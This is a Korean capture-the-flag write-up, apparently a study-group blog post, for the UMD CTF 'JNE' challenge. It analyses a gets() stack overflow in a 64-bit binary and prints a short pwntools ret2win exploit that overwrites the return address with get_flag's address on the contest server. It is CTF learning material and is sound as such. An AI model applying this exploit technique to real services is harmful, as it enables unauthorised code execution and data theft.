파일 명령어로 바이너리 파일을 확인했을 때 64비트 실행파일임을 확인할 수 있었다.
checksec로 보호기법을 보니 NX가 적용되어 있어서 쉘 코드 삽입은 불가능할 것 같았다.
info func 명령을 통해 함수 목록을 보면 다음과 같다.
main, jump, get_flag 함수가 눈에 띈다.
각 함수들의 어셈 코드는 다음과 같다.
main 함수에서 jump 함수를 호출하고 있고, jump 함수에서는 gets 함수로 사용자의 입력을 받고 있다. get_flag 함수에서는 fopen함수로 파일을 열어 fread함수로 내용을 읽어 리턴하고 있다.
아이다의 헥스레이 기능을 이용하여 위 함수들을 확인하면 다음과 같다.
jump 함수에서 v1이라는 변수로 64바이트를 할당하고, gets함수로 v1에 값을 입력받는데, 입력받는 값의 길이에 대한 검증이 없어서 bof가 발생할 수 있다. jump 함수에서 bof를 발생시켜 get_flag 함수로 리턴하도록 하면 서버의 flag 파일을 읽어올 수 있을 것 같다. 따라서 payload를 다음과 같이 입력값에 64(v1크기) + 8(sfp 크기) 만큼 입력하고 리턴에 get_flag 함수 주소를 넣어서 get_flag 함수를 실행시키도록 하면 될 것 같다. 따라서 익스 코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
#p = process("./JNE")
p = remote("chals5.umdctf.io", 7003)
pay = "A" * 72
pay += p64(0x000000000040125d)
p.sendline(pay)
p.interactive()
|
cs |
UMD CTF 후기 : 사실 가장 오랜 시간을 잡고 있던 문제는 JIE 문제 였는데 NX 보호기법이 적용되어 있지 않아서 쉘코드 삽입하는 문제라 생각하여 그 쪽으로 접근했는데 풀리지 않아서 아쉬웠다. 같이 문제푸신 팀원중 한 분이 ROP 기법으로 문제를 JIE를 포함한 다른 문제도 풀으셨는데 이것을 보고 포너블 기법 공부를 더 열심히 해야겠다는 동기 부여를 받은것 같다. JIE문제는 쉘코드를 삽입하여 푸는 방식으로 롸업이 올라온다면 한번 확인해보고 싶다.
'Project H4C Study Group' 카테고리의 다른 글
[Project H4C] [내부 문제 풀이]bof (0) | 2021.05.02 |
---|---|
[Project H4C][자작문제] rtl32 (0) | 2021.05.01 |
[Project H4C] [HackPack CTF] Baby Calc (21.04.19 수정_후기 추가) (0) | 2021.04.18 |
[Project H4C][자작문제] login (0) | 2021.04.12 |
[Project H4C] C언어 코딩도장(15) (0) | 2021.04.11 |